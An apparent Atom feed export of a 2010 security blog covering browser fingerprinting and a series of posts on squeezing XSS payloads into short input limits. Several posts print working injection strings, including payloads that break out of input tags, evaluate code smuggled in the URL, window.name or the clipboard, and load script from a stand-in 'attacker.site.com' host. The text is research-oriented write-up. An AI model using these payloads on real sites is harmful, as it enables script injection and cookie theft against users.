<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1981035927209077463</id><updated>2011-07-07T18:55:27.439-07:00</updated><category term='USPS'/><category term='embarassing'/><category term='flash'/><category term='mail'/><category term='education'/><category term='attack'/><category term='obfuscation'/><category term='how to start'/><category term='proxy'/><category term='XSRF'/><category term='DNS'/><category term='javascript'/><category term='ntfs'/><category term='burp'/><category term='fingerprinting'/><category term='url-shortener'/><category term='malware analysis'/><category term='reverse engineering'/><category term='teach the students'/><category term='html injection'/><category term='ie'/><category term='presentation'/><category term='awareness'/><category term='chrome'/><category term='KROTEG'/><category term='alternate data streams'/><category term='firefox'/><category term='koobface'/><category term='taosecurity'/><category term='antivirus'/><category term='secure coding'/><category term='cyber force'/><category term='spam'/><category term='worm'/><category term='kung fu'/><category term='remote desktop'/><category term='command line'/><category term='clipboard'/><category term='url-eval-xss'/><category term='XSS'/><category term='User-Agent'/><category term='cert'/><category term='DOS'/><category term='anonymization'/><title type='text'>gnarlysec</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-8682940080082046892</id><published>2010-02-05T07:56:00.001-08:00</published><updated>2010-02-05T08:09:00.648-08:00</updated><title type='text'>Browser Fingerprinting</title><content type='html'>Well, this is something I've been very interested in for quite some time.  I've mentioned it a before in a previous blog post (&lt;a href="http://gnarlysec.blogspot.com/2009/06/client-fingerprinting.html"&gt;here&lt;/a&gt;).  Reading that old post makes me laugh - I've gained so much more security experience since I've written that.&lt;br /&gt;
&lt;br /&gt;
Anyways, Bruce Schneier recently pointed out (&lt;a href="http://www.schneier.com/blog/archives/2010/01/tracking_your_b.html"&gt;here&lt;/a&gt;) Panopticlick, a website that tries to determine how unique your browser configuration is. Go to &lt;a href="http://panopticlick.eff.org/"&gt;http://panopticlick.eff.org/&lt;/a&gt; to check it out.  It will run some javascript to determine which plugins you have, your OS, what fonts you have installed, etc.  Then it will tell you how unique your data is out of the data it has collected so far.  As of the time of this writing, my browser configuration is absolutely unique out of the 577,993 different browsers tested.&lt;br /&gt;
&lt;br /&gt;
As I talked about in my previous post, I think this could definitely lead to more advanced and targeted exploitation of browsers.  If an attacker wished to attack developers, or sysadmins, or n00bs, or some other class of person, they could probably do it using browser fingerprints.&lt;br /&gt;
&lt;br /&gt;
Pretty interesting to think about.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-8682940080082046892?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/8682940080082046892/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2010/02/browser-fingerprinting.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8682940080082046892'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8682940080082046892'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2010/02/browser-fingerprinting.html' title='Browser Fingerprinting'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-1063687050454431844</id><published>2010-01-20T23:41:00.000-08:00</published><updated>2010-01-20T23:53:03.387-08:00</updated><title type='text'>URLs are VALID javascript!</title><content type='html'>I recently posted things that said you could eval a url like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
eval(unescape("http://somesite.com/%0Aalert('hello')"))
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
and have it display an alert.  I had said that the javascript interpreter ignored the line that failed and skipped to the next line (the alert).  WRONG!  The real reason why that works is that URLs are VALID javascript!  In javascript, you can label a block of code, like so:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
label: {&lt;br /&gt;
&lt;br /&gt;
}
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
and then use goto statements to jump to it.  In the case of URLs, &lt;span class="cmd-code"&gt;http:&lt;/span&gt; is merely a label!&lt;br /&gt;
&lt;br /&gt;
The next part of a url is the two forward slashes, which is, of course, a single-line comment in javascript.  Thus, when a newline is inserted into the url, it works because it is VALID javascript.  Super coolness!&lt;br /&gt;
&lt;br /&gt;
I haven't been able to find anyone else talk about this.  I don't really even care if I "discovered" it first (which I might have?).  It's just plain cool and makes me laugh :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-1063687050454431844?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/1063687050454431844/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/urls-are-valid-javascript.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1063687050454431844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1063687050454431844'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/urls-are-valid-javascript.html' title='URLs are VALID javascript!'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-8125852174413890535</id><published>2010-01-13T11:57:00.001-08:00</published><updated>2010-01-13T12:02:50.427-08:00</updated><title type='text'>XSS and Ultra Short Urls II</title><content type='html'>Since I've written the &lt;a href="http://gnarlysec.blogspot.com/2010/01/xss-and-ultra-short-urls.html"&gt;first post&lt;/a&gt; about my efforts to load external javascript in under 30 characters, I've learned several new tricks to reference "external" javascript.  The shortest one is this (20 characters):

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
"onfocus="eval(name)
&lt;/div&gt;
&lt;/div&gt;

This will only work if the window's name property has been set to hold your "external" javascript:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
window.open('http://some.site.com/with/xss/vulns?input="onfocus="eval(name)', "alert('xss')")
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-8125852174413890535?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/8125852174413890535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/xss-and-ultra-short-urls-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8125852174413890535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8125852174413890535'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/xss-and-ultra-short-urls-ii.html' title='XSS and Ultra Short Urls II'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-3798802298697562527</id><published>2010-01-13T10:29:00.000-08:00</published><updated>2010-01-13T11:55:46.069-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='url-eval-xss'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>Url-Eval XSS II</title><content type='html'>I did some searching around to see if there has been any research done on the maximum supported URL length for various browsers and/or servers, as I was curious  how much javascript could be stored in the url (described in &lt;a href="http://gnarlysec.blogspot.com/2010/01/url-eval-xss.html"&gt;this&lt;/a&gt; post).  I found an &lt;a href="http://www.boutell.com/newfaq/misc/urllength.html"&gt;article over at boutell.com&lt;/a&gt; that had exactly what I was looking for:&lt;br /&gt;
&lt;br /&gt;
&lt;table style="margin-left:auto; margin-right: auto"&gt;
&lt;tr&gt;&lt;th class="left-th"&gt;Client/Server&lt;/th&gt;&lt;th class="right-th"&gt;Max Bytes&lt;/th&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td class="left-td"&gt;MSIE&lt;/td&gt;
&lt;td class="right-td"&gt;2,083, max path: 2,043&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td class="left-td"&gt;Firefox&lt;/td&gt;
&lt;td class="right-td"&gt;100,000+&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td class="left-td"&gt;Safari&lt;/td&gt;
&lt;td class="right-td"&gt;80,000+&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td class="left-td"&gt;Opera&lt;/td&gt;
&lt;td class="right-td"&gt;190,000+&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td class="left-td"&gt;Apache Server&lt;/td&gt;
&lt;td class="right-td"&gt;4,000 (supposed: 8,192)&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td class="left-td"&gt;MS ISS&lt;/td&gt;
&lt;td class="right-td"&gt;default: 16,384&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td class="left-td"&gt;Perl HTTP::Daemon&lt;/td&gt;
&lt;td class="right-td"&gt;~8,000&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;br /&gt;
It seems like the shortest supported url length is 2,083 (MSIE).  This would leave us with somewhere around 1900-2000 bytes to store javascript functions (taking out 100-200 bytes for the url and path), which is a decent amount.  Then again, if you don't care about IE, then you've got a lot more room.&lt;br /&gt;
&lt;br /&gt;
The more I think about this, the more useful I can see it being.  Hosting your javascript files elsewhere can be risky when one is trying not to get caught.  Being able to store your "external" javascript in the url would be one way to still include a lot of code that can be used through the use of a single &lt;span class="cmd-code"&gt;eval(unescape(location.href))&lt;/span&gt; call.  Not only that, but because it would take a relatively small number of bytes to eval() the url-stored javascript, this would work in many cases where the server truncates user input.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="text-decoration: line-through"&gt;I wonder if others have thought of this before though.  I'm sure I'm not the first to think of this.&lt;/span&gt;.  Others have: &lt;a href="http://paper.sebug.net/pst_WebZine_0x03/txt/%5BPSTZine%200x03%5D%5B0x04%5D%5B%E7%AA%81%E7%A0%B4XSS%E5%AD%97%E7%AC%A6%E6%95%B0%E9%87%8F%E9%99%90%E5%88%B6%E6%89%A7%E8%A1%8C%E4%BB%BB%E6%84%8FJS%E4%BB%A3%E7%A0%81%5D.txt"&gt;here (lots of chinese characters)&lt;/a&gt; and &lt;a href="http://translate.google.com/translate?js=y&amp;prev=_t&amp;hl=en&amp;ie=UTF-8&amp;layout=1&amp;eotf=1&amp;u=http%3A%2F%2Fpaper.sebug.net%2Fpst_WebZine_0x03%2Ftxt%2F%255BPSTZine%25200x03%255D%255B0x04%255D%255B%25E7%25AA%2581%25E7%25A0%25B4XSS%25E5%25AD%2597%25E7%25AC%25A6%25E6%2595%25B0%25E9%2587%258F%25E9%2599%2590%25E5%2588%25B6%25E6%2589%25A7%25E8%25A1%258C%25E4%25BB%25BB%25E6%2584%258FJS%25E4%25BB%25A3%25E7%25A0%2581%255D.txt&amp;sl=zh-CN&amp;tl=en"&gt;translated&lt;/a&gt;, courtesy of Google.  The author of this paper (luoluo from the Ph4nt0m Security Team) goes about it slightly differently, requiring the attacker to know the exact length of the full URL.  He also uses &lt;span class="cmd-code"&gt;document.URL&lt;/span&gt;, which is shorter than &lt;span class="cmd-code"&gt;location.href&lt;/span&gt; by one byte:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
eval(document.URL.slice(80));
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
The advantage to using the new-line method, is that one must not know the size or location of the javascript in the url.  The author does also have several other very interesting ideas, such as using &lt;span class="cmd-code"&gt;document.referrer&lt;/span&gt; as a way to store javascript:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
eval(document.referrer.slice(80))
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
Again, this could be made successful using slicing, splitting, or my new-line method.  Also, if it can be assumed that the stored script is always the last part of the url and if the attacker knows how long his script is (he should!), he could work from the end of the url:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
eval(document.URL.substr(-##,##))
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
luoluo also talks about using the clipboard to store the payload.  Suppose a user is on your (the attacker's) site.  You store the javascript into the victim's clipboard while he's on your site:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
clipboardData.setData("text", "alert(document.cookie)");
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
Then you make him go to a site with XSS vulnerabilities, eval()'ing the data that was stored in the clipboard while the victim was on your site:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
http://some.site.come/with/xss/vulns?input=&amp;lt;script&amp;gt;eval(clipboardData.getData(&amp;quot;text&amp;quot;))&amp;lt;/script&amp;gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
luoluo also goes over how to use the window.name variable to store the javascript.  When you open a new window from javascript, you can specify the name of the window:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
window.open(URL, NAME, OPTIONS, REPLACE)
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
Thus you could do something like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
window.open("http://some.site.com/with/xss/vuln?input=eval(name)", "alert('xss')") 
&lt;/div&gt;
&lt;/div&gt;

Cool stuff!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-3798802298697562527?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/3798802298697562527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/url-eval-xss-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/3798802298697562527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/3798802298697562527'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/url-eval-xss-ii.html' title='Url-Eval XSS II'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-9102642730336311245</id><published>2010-01-12T13:56:00.000-08:00</published><updated>2010-01-13T11:51:41.939-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='url-eval-xss'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>Url-Eval XSS</title><content type='html'>I had been working on making an XSS POC in a &lt;a href="http://gnarlysec.blogspot.com/2010/01/xss-and-ultra-short-urls.html"&gt;previous post&lt;/a&gt;, and had another idea.  I got it from Gareth Heyes' &lt;a href="http://sla.ckers.org/forum/read.php?2,32990"&gt;comment to my post&lt;/a&gt; at sla.ckers.org.&lt;br /&gt;
&lt;br /&gt;
He said something about only having to use

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;quot;&amp;gt;&amp;lt;script&amp;gt;eval(name)&amp;lt;/script&amp;gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;

to accomplish what I was trying to do.  This didn't make much sense to me, so I started experimenting, trying to figure out what he meant.  I tried running eval(name) in the Firebug console, and of course, nothing happened.  The "name" variable was an empty-string.  So I started trying to think of other variables that I might influence through only the url (which is how I was injecting script into the page), when it hit me that maybe he meant to eval the URL itself.&lt;br /&gt;
&lt;br /&gt;
I messed around with this for a bit, running small commands in firebug such as:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
eval("http://somesite.com/blah/?param=alert('hello')")
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
to see how javascript might evaluate something like that.  None of those worked.  Including a space in the url didn't work:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
eval(unescape("http://somesite.com/blah/?param=%20alert('hello')"))
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
Neither did semicolons.  However, newlines work just fine:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
eval(unescape("http://somesite.com/blah/?param=%0Aalert('xss')"))
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
But you do have to remember to unescape the %0A&lt;br /&gt;
&lt;br /&gt;
So what use is this?  I could only come up with two uses:

&lt;ol&gt;
&lt;li&gt;The server truncates the javascript you can inject into the page and you can't load external javascript files&lt;/li&gt;
&lt;li&gt;A weird type of javascript obfuscation&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;

&lt;span style="font-size: 20px"&gt;1&lt;/span&gt; - If the server truncates your input so that only a certain number of characters make it into the page and you don't want to or can't for some reason load an external javascript file, you could do something like I have below. I'm assuming I only have 50 characters that will actually make it into the page:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
http://somesite.com/blah/?param=&amp;lt;script&amp;gt;eval(unescape(location.href))&amp;lt;/script&amp;gt;%20%20%20%20%0Aalert('xss')
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
The part of my script that I'm intending to make it into the page is below:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;lt;script&amp;gt;eval(unescape(location.href))&amp;lt;/script&amp;gt;%20%20%20%20
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
The actual script part is 46 characters long.  To make sure that &lt;i&gt;only&lt;/i&gt; that script made it into the page, I added four spaces (url-encoded: %20) to fill up to 50 characters.&lt;br /&gt;
&lt;br /&gt;
After the first 50 characters comes the newline, %0A, and then the script I want to be evaluated, alert('xss').&lt;br /&gt;
&lt;br /&gt;
The eval() function tries to evaluate everything before the %0A, but can't, so it skips to the next "line", which puts it right at alert('xss'), conveniently and nicely separating the two parts of the script.  This reminds of buffer overflows, actually. Neato.&lt;br /&gt;
&lt;br /&gt;

&lt;span style="font-size: 20px"&gt;2&lt;/span&gt; - Obfuscation.  Since a lot of people like to try and obfuscate their javascript, why not put a bunch of it in the url?  You could hide your functions there and call eval() on the url before you plan on needing those functions.  I bet this would be a nightmare to debug (Firebug doesn't handle this at all, since they're pretty much dynamic functions).&lt;br /&gt;
&lt;br /&gt;
For example, append this to a url:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
#%0Afunction%20SayHello%28%29%7Balert%28%27hello%27%29%3B%7D&lt;br /&gt;
&lt;/div&gt;
&lt;/div&gt;
which is:
&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
function SayHello(){alert('hello');}
&lt;/div&gt;
&lt;/div&gt;

Now open up firebug and go to the console. Eval() the url and run the function:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
eval(unescape(location.href))&lt;br /&gt;
&lt;br /&gt;SayHello();
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
You should have seen the popup.  Once again, interesting.  This seems to give you new flexibility with javascript, but it's nothing you can't do in other ways.  It does, however, let the user supply their own functions that a web-app should use.  Why someone would want to do that, I have no idea.  The most I can say about it is that it would be rather unwieldy, different, and interesting.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="update-title"&gt;UPDATE (1/13/09):&lt;/span&gt;&lt;br /&gt;
I talk more about this in another post: &lt;a href="http://gnarlysec.blogspot.com/2010/01/url-eval-xss-ii.html"&gt;Url-Eval XSS II&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;span class="update-title"&gt;UPDATE (1/13/09):&lt;/span&gt;&lt;br /&gt;
While writing the post &lt;a href="http://gnarlysec.blogspot.com/2010/01/url-eval-xss-ii.html"&gt;Url-Eval XSS II&lt;/a&gt; I finally figured out what Gareth meant by his eval(name) suggestion.  When you open a new window with javascript, you can specify the name of the new window.  These are the options for the window.open() function:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
window.open(URL, NAME, FEATURES, REPLACE)
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;

You could then open a window to the site with the xss vuln and store the javascript in the name of the new window:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
window.open("http://some.site.com/with/xss/vuln?input=eval(name)", "alert('xss')")
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-9102642730336311245?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/9102642730336311245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/url-eval-xss.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/9102642730336311245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/9102642730336311245'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/url-eval-xss.html' title='Url-Eval XSS'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-6157045840058928284</id><published>2010-01-08T13:08:00.000-08:00</published><updated>2010-01-08T13:14:23.512-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><title type='text'>Malware Analysis and Antivirus Technologies - Course</title><content type='html'>The F-Secure blog put up a link to the web site of a Malware Analysis and Antivirus Technologies course at the Helsinki University of Technology.  This is mainly so I don't forget about this link:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://noppa.tkk.fi/noppa/kurssi/t-110.6220/"&gt;https://noppa.tkk.fi/noppa/kurssi/t-110.6220/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-style: italic"&gt;F-Secure blog post: &lt;a href="http://www.f-secure.com/weblog/archives/00001849.html"&gt;http://www.f-secure.com/weblog/archives/00001849.html&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-6157045840058928284?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/6157045840058928284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/malware-analysis-and-antivirus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/6157045840058928284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/6157045840058928284'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2010/01/malware-analysis-and-antivirus.html' title='Malware Analysis and Antivirus Technologies - Course'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-6756360327803995021</id><published>2010-01-07T06:59:00.000-08:00</published><updated>2010-01-12T14:13:22.080-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='html injection'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='url-shortener'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><title type='text'>XSS and Ultra Short Urls</title><content type='html'>I recently was trying to create a POC (proof of concept) for an html injection/XSS vulnerability I found in a website where I could include the tags:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;lt;script src=&amp;quot;http://attacker.site.com/external.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
However, I only had 30 characters to break out of the current tag and insert my script.  This made me (naturally) search for ways to condense everything into as few characters as possible.&lt;br /&gt;
&lt;br /&gt;
Below is where the html injection occurs:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;lt;input TYPE=&amp;quot;TEXT&amp;quot; NAME=&amp;quot;target_pattern&amp;quot; VALUE=&amp;quot;&lt;b&gt;&lt;i&gt;&lt;font style="color:red"&gt;!INJECTION!&lt;/font&gt;&lt;/b&gt;&lt;/i&gt;&amp;quot; SIZE=20 maxlength=30 ONKEYDOWN=&amp;quot;someFunction()&amp;quot;&amp;gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
The full (uncondensed) html I had to include to break out of the current tag and create my script tags was this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;quot;&amp;gt;&amp;lt;script src=&amp;quot;http://attacker.site.com/external.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
Which is &lt;i&gt;way&lt;/i&gt; more than 30 characters (62 characters).  To smash it down, first I looked for different ways to reference a url.  I found that

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
http:google.com
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
works just as well as including both forward slashes in the url.&lt;br /&gt;

&lt;br /&gt;
Then I tried to find a good url-shortener to create a super-small url that I could use.  The smallest I came up with came from ix.lt, where I managed to get a url similar to ix.lt/##.  The full length I came up with was 37 characters long, still too long for me to actually use to get under the 30 character limit imposed by the server (not the text box):

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;quot;&amp;gt;&amp;lt;script src=http:ix.lt/##&amp;gt;&amp;lt;/script&amp;gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
Since I couldn't think of a way to make it much shorter, I stopped there.  Any ideas on how to have a super-short &lt;span class="cmd-code"&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt; block?

I came up with one way that would work in specific situations (sadly, not this one though).  Instead of trying to include the &amp;lt;/script&amp;gt; tag at the end (which is what pushes me over the limit), I figured I could do something like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&amp;quot;&amp;gt;&amp;lt;script src=http:ix.lt/##&amp;gt;/*
&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;
What this would do is comment out everything after &lt;i&gt;my&lt;/i&gt; script tag.  However, the only situation in which this would still work is if there is a script tag farther down in the html that has a block comment.  For example, such a situation would produce something like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
